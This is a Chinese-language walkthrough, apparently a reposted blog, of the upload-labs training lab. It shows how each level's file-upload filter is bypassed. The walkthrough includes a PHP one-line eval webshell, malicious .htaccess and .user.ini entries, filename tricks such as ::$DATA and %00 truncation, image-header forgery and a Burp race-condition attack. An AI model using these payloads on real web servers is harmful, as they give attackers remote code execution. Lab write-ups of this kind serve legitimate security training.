Upload Labs
實驗來自于https://github.com/c0ny1/upload-labs
環境搭建
phpstudy 推薦
https://blog.csdn.net/A1956936030/article/details/109455651
推薦使用phpstudy來搭建環境,因為很多實驗都基于了windows平臺的特性,并且dockerhub上的實驗版本有點老,只有20關,
docker 不推薦
Docker Desktop的安裝不再贅述,
使用的docker命令如下:
docker pull c0ny1/upload-labs
docker images
docker run -dt --name UploadLabs -p 11208:80 c0ny1/upload-labs
docker ps
不要在http://127.0.0.1:11208/進行實驗,不然BS默認抓不了本地包,在命令列中使用ipconfig指令查看虛擬網卡進行實驗,

Pass 1 js前端驗證
剛開始上傳檔案會提示要創建../upload檔案夾
在docker中創建
docker exec -it UploadLabs(自己的容器名) /bin/bash
mkdir ./upload
chown www-data:www-data upload/ //檔案夾所屬組默認為root
在Chrome中配置Proxy SwitchyOmega插件可以很方便地進行BS抓包
F12查看源代碼可以發現checkFIle在前端進行檔案名檢驗
動態修改
根據Js的特性我們打開控制臺,利用monkey patch的思路修改該前端驗證函式
這下就沒有驗證限制了
停用Js
在開發者工具下Ctrl + Shitf + P
也可以取消驗證限制
BurpSuite 抓包
因為是前端驗證,我們先修改一句話木馬的后綴名過掉驗證,再抓包修改修改后綴名也可以過掉驗證,
這里使用doughnuts作為webshell管理器
https://doughnuts3.gitbook.io/doughnuts/ru-men
一句話木馬如下,如果無特殊說明eval.php,eval.PHP,eval.jpg等檔案內容統一,
<?php @eval($_POST["cmd"]]);?>

Pass 2 MIME檢測
MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展型別,是設定某種擴展名的檔案用一種應用程式來打開的方式型別,當該擴展名檔案被訪問的時候,瀏覽器會自動使用指定應用程式來打開,
其實對應的就是請求包中的Content-Type欄位:
BurpSuite抓包將Content-Type: application/octet-stream 改成 image/jpeg 就好,
其他操作相同不再贅述,
Pass 3 黑名單-php別名
提示寫到:本pass禁止上傳.asp|.aspx|.php|.jsp后綴檔案!
因為這次檢測不在客戶端實作,所以只能另找方法繞過,
- 通過使用可被執行但不常見的后綴名,比如 php5,shtml等等
- 上傳惡意的組態檔(Apache .htaccess) 欺騙服務器將任意自定義檔案擴展名映射到可知執行的MIME型別
- 利用后端決議差異
- 添加尾隨字符,一些組件會去除或忽略尾隨空格、點等:exploit.php. /exploit.php+空格
- 對點,斜杠 使用URL 編碼, 如果驗證檔案擴展名時沒有解碼,在服務端被解碼,繞過黑名單限制, exploit%2Ephp
- 在檔案擴展名前添加分號或 URL 編碼的空位元組字符,如果驗證是用 PHP 或 Java 等高級語言撰寫的,但服務器使用 C/C++ 中的低級函式處理檔案,例如,這可能會導致檔案名結尾出現差異:exploit.asp;.jpg或exploit.asp%00.jpg
首先嘗試上傳eval.php5木馬(內容同前),發現連接失敗,查看原始碼的這一行
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
發現存盤位置發生了變化,雖然是隨機的檔案名,但是存在前端回顯,右鍵選擇在新標簽頁打開可以看到檔案路徑,
再次連接,檔案沒有被決議,連接失敗,說明apache沒有設定對php5別名的決議,
更換思路,上傳.htaccess檔案更改MIME映射,但是.htaccess同樣會生成亂數前綴
看其他人的感覺也沒有其他思路了,最后還是要修改apache配置?
Pass 4 黑名單-.htaccess
提示寫到:本pass禁止上傳.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后綴檔案!
可以發現黑名單里面沒有.htaccess
我們上傳自己的.htaccess
SetHandler application/x-httpd-php
這個檔案會使服務器將所有檔案都以php型別的MIME解釋
然后上傳eval.jpg,連接
Pass 5 黑名單-.user.ini
提示寫到:上傳目錄存在php檔案(readme.php)
這里必須要Windows環境了(前幾個都是用的docker,從這里改phpstudy了,要記得關閉windows defender),要用到.user.ini
.user.ini
自 PHP 5.3.0 起,PHP 支持基于每個目錄的 .htaccess 風格的 INI 檔案,此類檔案僅被 CGI/FastCGI SAPI 處理(正常情況下apache不運行在此模塊),此功能使得 PECL 的 htscanner 擴展作廢,如果使用 Apache,則用 .htaccess 檔案有同樣效果,
.user.ini的配置有auto_prepend_file和auto_append_file等,
利用.user.ini的前提是服務器開啟了CGI或者FastCGI,并且上傳檔案的存盤路徑下有index.php可執行檔案,因為auto_perpend_file的作用相當于在index.php開頭添加require(xxx),使用這個的同時也利用了檔案包含漏洞,
先切換Ngnix,上傳.user.ini
auto_prepend_file=eval.jpg
再上傳eval.jpg
然后連接/upload/readme.php檔案,會首先包含eval.jpg,得到shell
Pass 6-10 黑名單-Windows其他常見繞過
Pass 6 大小寫繞過
$file_ext = strtolower($file_ext); //轉換為小寫
相比Pass 5 來說第6關js代碼少了這一行,因為windows的檔案系統對大小寫不敏感,因此可以使用PHP,PHp等來繞過,
上傳eval.PHP
Pass 7-8 點/空格后綴繞過
上傳eval.php抓包后修改為eval.php_(空格)或者eval.php.等,在windows存盤到檔案系統的時候會自動去掉我們加上的后綴,
Pass 7 上傳eval.php_
Pass 8 上傳eval.php.
補充一個查資料時看到的方法
利用PHP和Windows環境的疊加特性,以下符號在正則匹配時的相等性,此方法需要上傳兩次
雙引號" = 點號.
大于符號> = 問號?
小于符號< = 星號*
1. 先抓包上傳一個名為eval.php:.jpg的檔案,上傳成功后會生成eval.php的空檔案
2. 然后將木馬檔案名改為eval.<再次上傳,重寫eval.php檔案內容,Webshell代碼就會寫入原來的eval.php空檔案中,
Pass 8 可以使用這種方法
Pass 9 ::$DATA
windows平臺下如果檔案名+::$DATA會把::$DATA之后的資料當成檔案流處理,不會檢測后綴名,且保持::$DATA之前的檔案名,
所以這里上傳eval.php::$DATA
Pass 10 deldot()
deldot()會從后向前洗掉點,遇到第一個點后仍會繼續洗掉,遇到空格截止,
所以可以上傳eval. .來繞過
Pass 11 黑名單-雙寫繞過
這關會在上傳的檔案名中找到黑名單字串并去除,我們可以將后綴雙寫,來防止去除,
本關上傳eval.pphphp
Pass 12-13 白名單-截斷
可以截斷繞過的條件是條件: php版本 < 5.3.4 ; magic_quotes_gpc=Off
php在利用$_FILES['upload_file']['name']獲取檔案名的時候如果遇到了%00則會發生截斷
這兩關能夠利用截斷的另外一點在于存盤路徑可控,
Pass 12 Get截斷
本關的關鍵在$_GET['save_path']是可以有我們控制的,
在構造Get方法的末尾加上eval.php再加上%00來截斷$img_path就能得到/upload/eval.php,
接下來傳入的eval.jpg會寫入到這個檔案中,
/upload/eval.php就是最后得到的webshell,
Pass 13 Post截斷
大體的結構同上,不過關鍵的地方變成了$_POST['save_path']
Burpsuite抓包后在Hex視圖或者Inspector的Request Body Parameters處修改,
Pass 14-17 圖片檢測
Pass 14 檔案頭檢測-1
可以傳圖片馬也可以構造圖片格式的檔案頭來偽造
PNG檔案頭: 89 50 4E 47 0D 0A 1A 0A
JPG檔案頭: FF D8 FF
GIF (gif)檔案頭:47494638
圖片馬的制作可以拿記事本或者010editor打開在圖片最后加上一句話木馬的內容
也可以用cmd
copy a.jpg/b+eval.php eval.jpg
上傳成功后在doughnuts中
doughnuts > connect http://192.168.123.196/UploadLabs/include.php/?file=upload/1020221124175834.jpg POST cmd
成功連接
Pass 15 檔案頭檢測-2
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
區別在于利用庫函式還是自己實作檔案頭的檢測,不過Pass 14只檢測檔案頭沒有檢測拓展名,Pass 15就必須要檔案頭和格式對應了,
Pass 16 檔案頭檢測-3
exif_imagetype讀取一個影像的第一個位元組并檢查其簽名,如果發現恰當的簽名回傳一個對應的常量,否則回傳false,回傳值和getimagesize()回傳值的陣列中的索引2的值是一樣的,效率比getimagesize更快,回傳資訊更少,
因此和前面的做法相同,
Pass 17 二次渲染
二次渲染也就是后端在存盤檔案之前對檔案進行了修改,因此如果我們的一句話木馬在被修改區域的話就會失效,
使用010editor的檔案比較功能,在原檔案中找到能夠存放一句話木馬的不變區域即可,

檔案太小可能不是很容易找不變區域,不過在圖片中間插入多半就不能正常顯示了(
這里上傳jpg可能不太好找(也有可能是我的檔案的問題),可以試試上傳gif
Pass 18-19 條件競爭
Pass 18 條件競爭-1
這關的特點是先存盤了檔案再進行檔案驗證,因此只要卡在檔案存盤和驗證之間進行訪問,就可以繞過檢測,
條件競爭屬于并發產生的邏輯漏洞,
這里使用BurpSuite,先抓包再轉發到Intruder,清除payload標記,設定payload型別為Null Payloads,選擇Continue indefinitely選項

在Resouce Pool設定執行緒數為100,開始攻擊,

慢慢卡是能卡出來的(
Pass 19 條件競爭-2
和上一關類似,不過這關的引導不是很好,要上傳圖片馬利用檔案包含,而且路徑設定不太對,
Pass 20-21 保存
Pass 20 保存-黑名單
思路其實和之前的黑名單一樣
利用._后綴繞過,PHP和windows混合環境或者%00(注意版本)進行截斷
額外的一種思路是對于move_uploaded_file(),這個函式保存檔案時會忽略末尾的/.
上傳檔案:eval.php
保存檔案名:eval.php/.(訪問時訪問eval.php即可)
Pass 21 保存-白名單&陣列
先檢測MIME,再進行陣列檢測,move_uploaded_file()繞過,最后是白名單檢測
陣列檢測繞過基于下列代碼
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
如果save_name不為空,會取得save_name引數,而下列代碼會根據陣列的內容進行檢測和保存
$ext = end($file);
$file_name = reset($file) . '.' . $file[count($file) - 1];
設定save_name陣列如下$file[count($file) - 1]就是save_name[1],為空,
因為windows平臺的特性,自動保存為eval.php

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538328.html
標籤:其他
上一篇:第三次打靶
